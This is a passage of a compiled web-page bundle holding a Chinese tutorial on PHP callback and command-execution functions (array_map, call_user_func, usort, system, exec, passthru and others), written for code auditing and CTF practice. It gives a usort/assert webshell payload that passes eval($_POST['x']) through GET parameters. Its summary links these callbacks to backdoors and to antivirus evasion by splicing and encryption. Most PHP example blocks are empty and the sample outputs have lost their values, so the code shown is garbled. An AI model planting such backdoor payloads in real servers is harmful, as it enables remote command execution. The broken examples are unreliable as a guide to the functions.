\"desktop-m61j5j6\\admin\"\n}\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u6bb5\u4ee3\u7801\u5c31\u662f\uff0c\u901a\u8fc7",(0,r.jsx)(e.code,{children:"array_map()"}),"\u8fd9\u4e2a\u51fd\u6570\uff0c\u6765\u8c03\u7528\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\uff0c\u800c\u7528\u6237\u8fd9\u91cc\u7684\u56de\u8c03\u51fd\u6570\u5176\u5b9e\u5c31\u662f",(0,r.jsx)(e.code,{children:"system"}),"\u51fd\u6570\uff0c\u90a3\u4e48\u5c31\u76f8\u5f53\u4e8e\u6211\u4eec\u7528",(0,r.jsx)(e.code,{children:"system"}),"\u51fd\u6570\u6765\u5bf9\u65e7\u6570\u7ec4\u8fdb\u884c\u64cd\u4f5c\uff0c\u5f97\u5230\u65b0\u7684\u6570\u7ec4\uff0c\u90a3\u4e48\u8fd9\u4e2a\u65b0\u7684\u6570\u7ec4\u7684\u7ed3\u679c\u5c31\u662f\u6211\u4eec\u60f3\u8981\u7684\u547d\u4ee4\u6267\u884c\u7684\u7ed3\u679c\u4e86\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"call_user_func",children:"call_user_func()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"call_user_func()"}),"\u662f\u628a\u7b2c\u4e00\u4e2a\u53c2\u6570\u4f5c\u4e3a\u56de\u8c03\u51fd\u6570\u8c03\u7528"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-3",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.p,{children:["\u7b2c\u4e00\u4e2a\u53c2\u6570",(0,r.jsx)(e.code,{children:"callback"}),"\u662f\u88ab\u8c03\u7528\u7684\u56de\u8c03\u51fd\u6570\uff0c\u5176\u4f59\u53c2\u6570\u662f\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570\u3002"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"callback\uff1a\u5373\u5c06\u88ab\u8c03\u7528\u7684\u56de\u8c03\u51fd\u6570"}),"\n",(0,r.jsx)(e.li,{children:"parameter\uff1a\u4f20\u5165\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u8fd8\u662f\u975e\u5e38\u597d\u7406\u89e3\u7684\uff0c\u770b\u4e00\u6bb5\u7b80\u5355\u7684\u793a\u4f8b\u4ee3\u7801"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\n\u6211\u662f\u53c2\u6570\u6211\u662f\u53c2\u6570```\n\n\n\u53ef\u4ee5\u770b\u5230\u6b64\u51fd\u6570\u4f5c\u7528\u5c31\u662f\u8c03\u7528\u4e86\u7b14\u8005\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\u3002\u90a3\u4e48\u8fd9\u4e2a\u5982\u4f55\u5b9e\u73b0\u4ee3\u7801\u6267\u884c\u5462\uff1f\u597d\u8bf4\uff0c\u4f60\u5728\u524d\u9762\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\u4e2d\u52a0\u5165\u80fd\u6267\u884c\u547d\u4ee4\u7684\u4ee3\u7801\u4e0d\u4e45\u53ef\u4ee5\u4ee3\u7801\u6267\u884c\u4e86\u3002\n\n\u793a\u4f8b\u4ee3\u7801\uff1a\n\n```php\n\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.h3,{id:"call_user_func_array",children:"call_user_func_array()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u540d\u79f0\u8ddf\u4e0a\u6ca1\u4ec0\u4e48\u5927\u7684\u5dee\u522b\uff0c\u552f\u4e00\u7684\u533a\u522b\u5c31\u5728\u4e8e\u53c2\u6570\u7684\u4f20\u9012\u4e0a\uff0c\u8fd9\u4e2a\u51fd\u6570\u662f\u628a\u4e00\u4e2a\u6570\u7ec4\u4f5c\u4e3a\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"call_user_func_array( callable $callback, array $param_arr) : mixed\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-4",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"callback\uff1a\u88ab\u8c03\u7528\u7684\u56de\u8c03\u51fd\u6570"}),"\n",(0,r.jsx)(e.li,{children:"param_arr\uff1a\u8981\u88ab\u4f20\u5165\u56de\u8c03\u51fd\u6570\u7684\u6570\u7ec4\uff0c\u8fd9\u4e2a\u6570\u7ec4\u9700\u8981\u662f\u7d22\u5f15\u6570\u7ec4"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\n\u6211\u662f\u53c2\u6570\u6211\u662f\u53c2\u6570```\n\n\n\u793a\u4f8b\u4ee3\u7801\uff1a\n\n```php\n\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.h3,{id:"array_filter",children:"array_filter()"}),"\n",(0,r.jsx)(e.p,{children:"\u7528\u56de\u8c03\u51fd\u6570\u8fc7\u6ee4\u6570\u6570\u7ec4\u4e2d\u7684\u5355\u5143"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u4f9d\u6b21\u5c06",(0,r.jsx)(e.code,{children:"array"}),"\u6570\u7ec4\u4e2d\u7684\u6bcf\u4e2a\u503c\u4f20\u5230",(0,r.jsx)(e.code,{children:"callback"}),"\u51fd\u6570\u3002\u5982\u679c",(0,r.jsx)(e.code,{children:"callback"}),"\u51fd\u6570\u8fd4\u56de",(0,r.jsx)(e.code,{children:"true"}),"\uff0c\u5219",(0,r.jsx)(e.code,{children:"array"}),"\u6570\u7ec4\u7684\u5f53\u524d\u503c\u4f1a\u88ab\u5305\u542b\u5728\u8fd4\u56de\u7684\u7ed3\u679c\u6570\u7ec4\u4e2d\u3002\u6570\u7ec4\u7684\u952e\u540d\u4fdd\u7559\u4e0d\u53d8\u3002"]}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-5",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"array\uff1a\u8981\u5faa\u73af\u7684\u6570\u7ec4"}),"\n",(0,r.jsxs)(e.li,{children:["callback\uff1a\u4f7f\u7528\u7684\u56de\u8c03\u51fd\u6570\u3002\u5982\u679c\u6ca1\u6709\u63d0\u4f9b",(0,r.jsx)(e.code,{children:"callback"}),"\u51fd\u6570\uff0c\u5c06\u5220\u9664",(0,r.jsx)(e.code,{children:"array"}),"\u4e2d\u6240\u6709\u7b49\u503c\u4e3aFALSE\u7684\u6761\u76ee\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["flag\uff1a\u51b3\u5b9a",(0,r.jsx)(e.code,{children:"callback"}),"\u63a5\u6536\u7684\u53c2\u6570\u5f62\u5f0f"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff08\u8fd9\u91cc\u770b\u5b98\u65b9\u7684\u5c31\u884c\uff0c\u5f88\u8be6\u7ec6\uff09\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);\n$array2 = array(6, 7, 8, 9, 10, 11, 12);\n\necho "Odd :\\n";\nprint_r(array_filter($array1, "odd"));\necho "Even:\\n";\nprint_r(array_filter($array2, "even"));\n?> \n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nOdd :\nArray\n(\n [a] => [c] => [e] => )\nEven:\nArray\n(\n [0] => [2] => [4] => [6] => )\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u4ece\u4e0a\u9762\u4ee3\u7801\u6211\u4eec\u77e5\u9053\uff0c\u8fd9\u4e2a\u51fd\u6570\u4f5c\u7528\u5176\u5b9e\u5c31\u662f\u8fc7\u6ee4\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u8fc7\u6ee4\u8c03\u7528\u7684\u662f\u51fd\u6570\uff0c\u800c\u88ab\u8fc7\u6ee4\u7684\u662f\u4f20\u5165\u7684\u53c2\u6570\u3002\u5230\u8fd9\u91cc\u4f60\u5fc3\u91cc\u6709\u6ca1\u6709\u4ee3\u7801\u6267\u884c\u7684\u96cf\u5f62\u4e86\uff1f"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.h3,{id:"usort",children:"usort()"}),"\n",(0,r.jsx)(e.p,{children:"\u4f7f\u7528\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u6bd4\u8f83\u51fd\u6570\u5bf9\u6570\u7ec4\u4e2d\u7684\u503c\u8fdb\u884c\u6392\u5e8f"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"usort( array &$array, callable $value_compare_func) : bool\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-6",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"array\uff1a\u8f93\u5165\u7684\u6570\u7ec4"}),"\n",(0,r.jsx)(e.li,{children:"cmp_function\uff1a\u5728\u7b2c\u4e00\u4e2a\u53c2\u6570\u5c0f\u4e8e\u3001\u7b49\u4e8e\u6216\u5927\u4e8e\u7b2c\u4e8c\u4e2a\u53c2\u6570\u65f6\uff0c\u8be5\u6bd4\u8f83\u51fd\u6570\u5fc5\u987b\u76f8\u5e94\u5730\u8fd4\u56de\u4e00\u4e2a\u5c0f\u4e8e\u3001\u7b49\u4e8e\u6216\u5927\u4e8e0\u7684\u6570"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray\n(\n [0] => [1] => [2] => [3] => [4] => )\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u53ef\u89c1\u5b9e\u73b0\u4e86\u9006\u5e8f\u7684\u529f\u80fd\u3002\u90a3\u4e48\u5018\u82e5\u6211\u4eec\u628a\u56de\u8c03\u51fd\u6570\u8bbe\u8ba1\u6210\u80fd\u591f\u6267\u884c\u4ee3\u7801\u7684\u51fd\u6570\uff0c\u662f\u4e0d\u662f\u5c31\u53ef\u4ee5\u6267\u884c\u6211\u4eec\u60f3\u8981\u7684\u4ee3\u7801\u4e86\u5462\uff1f"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\npayload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert\nPOST\u4f20\u53c2: x=phpinfo();\n"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"usort"}),"\u7684\u53c2\u6570\u901a\u8fc7GET\u4f20\u53c2\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e5f\u5c31\u662f",(0,r.jsx)(e.code,{children:"$_GET[0]"}),"\uff0c\u968f\u4fbf\u4f20\u5165\u4e00\u4e2a\u6570\u5b57\u5373\u53ef\u3002\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4e5f\u5c31\u662f",(0,r.jsx)(e.code,{children:"$_GET[1]"}),"\u662f\u6211\u4eec\u8981\u8c03\u7528\u7684\u51fd\u6570\u540d\u79f0\uff0c\u8fd9\u91cc\u91c7\u7528\u7684\u662f",(0,r.jsx)(e.code,{children:"assert"}),"\u51fd\u6570\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648092.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"uasort",children:"uasort()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u8ddf\u4e0a\u4e00\u4e2a\u5dee\u4e0d\u591a\uff0c\u533a\u522b\u4e0d\u662f\u5f88\u5927\u3002\u6b64\u51fd\u6570\u5bf9\u6570\u7ec4\u6392\u5e8f\u5e76\u4fdd\u6301\u7d22\u5f15\u548c\u5355\u5143\u4e4b\u95f4\u7684\u5173\u8054\u3002\u4e5f\u5c31\u662f\u8bf4\u4f60\u8fd9\u4e2a\u6392\u5b8c\u5e8f\u4e4b\u540e\u5462\uff0c\u5b83\u539f\u6765\u5bf9\u5e94\u7684\u7d22\u5f15\u4e5f\u4f1a\u76f8\u5e94\u6539\u53d8\uff0c\u7c7b\u4f3c\u4e8e\u201c\u7ed1\u5b9a\u201d\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"uasort( array &$array, callable $value_compare_func) : bool\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-7",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"array\uff1a\u8f93\u5165\u7684\u6570\u7ec4"}),"\n",(0,r.jsx)(e.li,{children:"value_compare_func\uff1a\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u51fd\u6570"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u91cc\u7528\u7684\u4ecd\u7136\u5b98\u65b9\u4f8b\u5b50\uff08\u6bd4\u8f83\u597d\u7406\u89e3\uff09"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:" 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);\nprint_r($array);\n\n// Sort and print the resulting array\nuasort($array, 'cmp');\nprint\n?>\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray\n(\n [a] => [b] => [c] => - [d] => - [e] => [f] => [g] => [h] => -)\nArray\n(\n [d] => - [h] => - [c] => - [e] => [g] => [a] => [f] => [b] => )\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u53d1\u73b0\uff0c\u5728\u6392\u5b8c\u5e8f\u4e4b\u540e\u7d22\u5f15\u4e5f\u8ddf\u7740\u503c\u7684\u4f4d\u7f6e\u53d8\u5316\u800c\u53d8\u5316\u4e86\u3002\u90a3\u4e48\u4ee3\u7801\u6267\u884c\u7684\u793a\u4f8b\u4ee3\u7801\u5176\u5b9e\u4e5f\u548c\u4e0a\u4e00\u4e2a\u5dee\u4e0d\u591a\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648093.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,r.jsx)(e.p,{children:"\u770b\u5b8c\u8fd9\u91cc\u4e0d\u77e5\u9053\u4f60\u5bf9\u4ee3\u7801\u5ba1\u8ba1\u4e2d\u7684\u4ee3\u7801\u6267\u884c\u90e8\u5206\u662f\u5426\u6709\u53e6\u4e00\u79cd\u60f3\u6cd5\uff1f\u6211\u7684\u60f3\u6cd5\u5c31\u662f\u8fd9\u4e2a\u662f\u548c\u540e\u95e8\u8054\u7cfb\u5728\u4e00\u8d77\u7684\u3002\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5f88\u591a\u51fd\u6570\u90fd\u5177\u6709\u6784\u9020\u6267\u884c\u547d\u4ee4\u7684\u6761\u4ef6\uff0c\u800c\u4e14\u5176\u4e2d\u5f88\u591a\u51fd\u6570\u4e5f\u7684\u786e\u88ab\u7528\u5728\u540e\u95e8\u4e2d\uff0c\u7279\u522b\u50cf\u540e\u9762\u51e0\u4e2a\u56de\u8c03\u51fd\u6570\uff0c\u5728\u540e\u95e8\u4e2d\u66f4\u662f\u5e38\u89c1\u3002\u5f53\u7136\u8fd9\u4e9b\u540e\u95e8\u51fd\u6570\u4e5f\u65e9\u5df2\u88ab\u5b89\u5168\u5382\u5546\u76ef\u4f4f\uff0c\u6240\u4ee5\u5927\u90e8\u5206\u5df2\u7ecf\u65e0\u6cd5\u76f4\u63a5\u514d\u6740\uff0c\u6240\u4ee5\u60f3\u8981\u514d\u6740\u5c31\u9700\u8981\u7ed3\u5408\u5176\u4ed6\u59ff\u52bf\uff0c\u6bd4\u5982\u66ff\u6362\u3001\u62fc\u63a5\u3001\u52a0\u5bc6\u7b49\u7b49\u3002\u4f46\u662f\u8fd9\u4e9b\u77e5\u8bc6\u5728CTF\u4e2d\u8fd8\u662f\u6bd4\u8f83\u5bb9\u6613\u51fa\u73b0\u7684\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"\u547d\u4ee4\u6267\u884c",children:"\u547d\u4ee4\u6267\u884c"}),"\n",(0,r.jsx)(e.p,{children:"\u8bf4\u5b8c\u4ee3\u7801\u6267\u884c\uff0c\u6211\u4eec\u518d\u6765\u770b\u770b\u547d\u4ee4\u6267\u884c\u3002\u5e38\u89c1\u7684\u547d\u4ee4\u6267\u884c\u51fd\u6570\u6709\u54ea\u4e9b\u5462\uff1f"}),"\n",(0,r.jsx)(e.h3,{id:"system",children:"system()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u60f3\u5fc5\u6211\u4eec\u90fd\u662f\u6bd4\u8f83\u719f\u6089\u7684\uff0c\u6b64\u51fd\u6570\u5c31\u662f\u6267\u884c\u5916\u90e8\u6307\u4ee4\uff0c\u5e76\u4e14\u663e\u793a\u8f93\u51fa"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"system( string $command[, int &$return_var] ) : string\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-8",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"command\uff1a\u5fc5\u9700\u3002\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(e.li,{children:"return_var\uff1a\u53ef\u9009\u3002\u82e5\u8bbe\u7f6e\u4e86\u8fd9\u4e2a\u53c2\u6570\uff0c\u90a3\u4e48\u547d\u4ee4\u6267\u884c\u540e\u7684\u8fd4\u56de\u72b6\u6001\u5c31\u4f1a\u88ab\u653e\u5230\u8fd9\u4e2a\u53d8\u91cf\u4e2d"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.h3,{id:"exec",children:"exec()"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e2a\u5176\u5b9e\u548c\u4e0a\u9762",(0,r.jsx)(e.code,{children:"system"}),"\u51fd\u6570\u6ca1\u6709\u592a\u5927\u533a\u522b\uff0c\u90fd\u662f\u6267\u884c\u5916\u90e8\u7a0b\u5e8f\u6307\u4ee4\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u51fd\u6570\u591a\u4e86\u4e00\u4e2a\u53c2\u6570\uff0c\u53ef\u4ee5\u8ba9\u6211\u4eec\u628a\u547d\u4ee4\u6267\u884c\u8f93\u51fa\u7684\u7ed3\u679c\u4fdd\u5b58\u5230\u4e00\u4e2a\u6570\u7ec4\u4e2d\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"exec( string $command[, array &$output[, int &$return_var]] ) : string\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-9",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"command\uff1a\u5fc5\u9700\u3002\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(e.li,{children:"output\uff1a\u53ef\u9009\u3002\u5982\u679c\u8bbe\u7f6e\u4e86\u6b64\u53c2\u6570\uff0c\u90a3\u4e48\u547d\u4ee4\u6267\u884c\u7684\u7ed3\u679c\u5c06\u4f1a\u4fdd\u5b58\u5230\u6b64\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(e.li,{children:"return_var\uff1a\u53ef\u9009\u3002\u547d\u4ee4\u6267\u884c\u7684\u8fd4\u56de\u72b6\u6001\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.h3,{id:"shell_exec",children:"shell_exec()"}),"\n",(0,r.jsxs)(e.p,{children:["\u6b64\u51fd\u6570\u901a\u8fc7shell\u73af\u5883\u6267\u884c\u547d\u4ee4\uff0c\u5e76\u4e14\u5c06\u5b8c\u6574\u7684\u8f93\u51fa\u4ee5\u5b57\u7b26\u4e32\u7684\u65b9\u5f0f\u8fd4\u56de\u3002\u5982\u679c\u6267\u884c\u8fc7\u7a0b\u4e2d\u53d1\u751f\u9519\u8bef\u6216\u8005\u8fdb\u7a0b\u4e0d\u4ea7\u751f\u8f93\u51fa\uff0c\u90a3\u4e48\u5c31\u8fd4\u56de",(0,r.jsx)(e.code,{children:"NULL"})]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"shell_exec( string $cmd) : string\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-10",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"cmd\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.h3,{id:"passthru",children:"passthru()"}),"\n",(0,r.jsxs)(e.p,{children:["\u6267\u884c\u5916\u90e8\u7a0b\u5e8f\u5e76\u4e14\u663e\u793a\u539f\u59cb\u8f93\u51fa\u3002\u65e2\u7136\u6211\u4eec\u5df2\u7ecf\u6709\u6267\u884c\u547d\u4ee4\u7684\u51fd\u6570\u4e86\uff0c\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u6211\u4eec\u4ec0\u4e48\u65f6\u5019\u4f1a\u7528\u5230\u5462\uff1f\u5f53\u6240\u6267\u884c\u7684Unix\u547d\u4ee4\u8f93\u51fa\u4e8c\u8fdb\u5236\u6570\u636e\uff0c\u5e76\u4e14\u9700\u8981\u76f4\u63a5\u4f20\u9001\u5230\u6d4f\u89c8\u5668\u7684\u65f6\u5019\uff0c\u9700\u8981\u7528\u6b64\u51fd\u6570\u6765\u66ff\u4ee3",(0,r.jsx)(e.code,{children:"exec()"}),"\u6216",(0,r.jsx)(e.code,{children:"system()"}),"\u51fd\u6570"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"passthru( string $command[, int &$return_var] ) : void\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-11",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"command\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(e.li,{children:"return_var\uff1aUnix\u547d\u4ee4\u7684\u8fd4\u56de\u72b6\u6001\u5c06\u88ab\u8bb0\u5f55\u5230\u6b64\u51fd\u6570\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\u7b2c\u4e00\u4f60\u53ef\u4ee5\u8fd9\u4e48\u5199\n\n\u7b2c\u4e8c\u4f60\u53ef\u4ee5\u8fd9\u4e48\u5199\n\n"})}),"\n",(0,r.jsx)(e.h3,{id:"pcntl_exec",children:"pcntl_exec()"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u5f53\u524d\u8fdb\u7a0b\u7a7a\u95f4\u6267\u884c\u6307\u5b9a\u7a0b\u5e8f\u3002\u5173\u952e\u70b9\u5c31\u5728\u4e8e\u8fdb\u7a0b\u7a7a\u95f4\uff0c\u5018\u82e5\u6211\u73b0\u5728\u8bbe\u5b9a\u4e00\u4e2a\u6761\u4ef6\uff0c\u4f60\u53ea\u6709\u5728\u67d0\u4e2a\u5b50\u8fdb\u7a0b\u4e2d\u624d\u80fd\u8bfb\u53d6phpinfo\uff0c\u90a3\u8fd9\u4e2a\u65f6\u5019\uff0c\u6211\u4eec\u5c31\u9700\u8981\u7528\u5230\u8fd9\u4e2a\u51fd\u6570\u4e86\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"pcntl_exec( string $path[, array $args[, array $envs]] ) : void\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-12",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"path\uff1apath\u5fc5\u987b\u65f6\u53ef\u6267\u884c\u4e8c\u8fdb\u5236\u6587\u4ef6\u8def\u5f84\u6216\u5728\u4e00\u4e2a\u6587\u4ef6\u7b2c\u4e00\u884c\u6307\u5b9a\u4e86\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\u8def\u5f84\u6807\u5934\u7684\u811a\u672c(\u6bd4\u5982\u6587\u4ef6\u7b2c\u4e00\u884c\u662f#!/usr/local/bin/perl\u7684perl\u811a\u672c)"}),"\n",(0,r.jsx)(e.li,{children:"args\uff1a\u6b64\u53c2\u6570\u662f\u4e00\u4e2a\u4f20\u9012\u7ed9\u7a0b\u5e8f\u7684\u53c2\u6570\u7684\u5b57\u7b26\u4e32\u6570\u7ec4"}),"\n",(0,r.jsx)(e.li,{children:"envs\uff1a\u73af\u5883\u53d8\u91cf\uff0c\u8fd9\u4e2a\u60f3\u5fc5\u5927\u5bb6\u90fd\u5f88\u719f\u6089\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u91cc\u5f3a\u8c03\u4e00\u70b9\uff0c\u8fd9\u91cc\u4f20\u5165\u7684\u662f\u6570\u7ec4\uff0c\u6570\u7ec4\u683c\u5f0f\u662f key => value\u683c\u5f0f\u7684\uff0ckey\u4ee3\u8868\u8981\u4f20\u9012\u7684\u73af\u5883\u53d8\u91cf\u7684\u540d\u79f0\uff0cvalue\u4ee3\u8868\u8be5\u73af\u5883\u53d8\u91cf\u503c\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"//father\n\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"//son\n\n"})}),"\n",(0,r.jsx)(e.h3,{id:"popen",children:"popen()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u4f7f\u7528command\u53c2\u6570\u6253\u5f00\u8fdb\u7a0b\u6587\u4ef6\u6307\u9488\u3002\u5982\u679c\u51fa\u9519\uff0c\u90a3\u4e48\u8be5\u51fd\u6570\u5c31\u4f1a\u8fd4\u56deFALSE\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"popen(command,mode)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-13",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"command\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsxs)(e.li,{children:["mode\uff1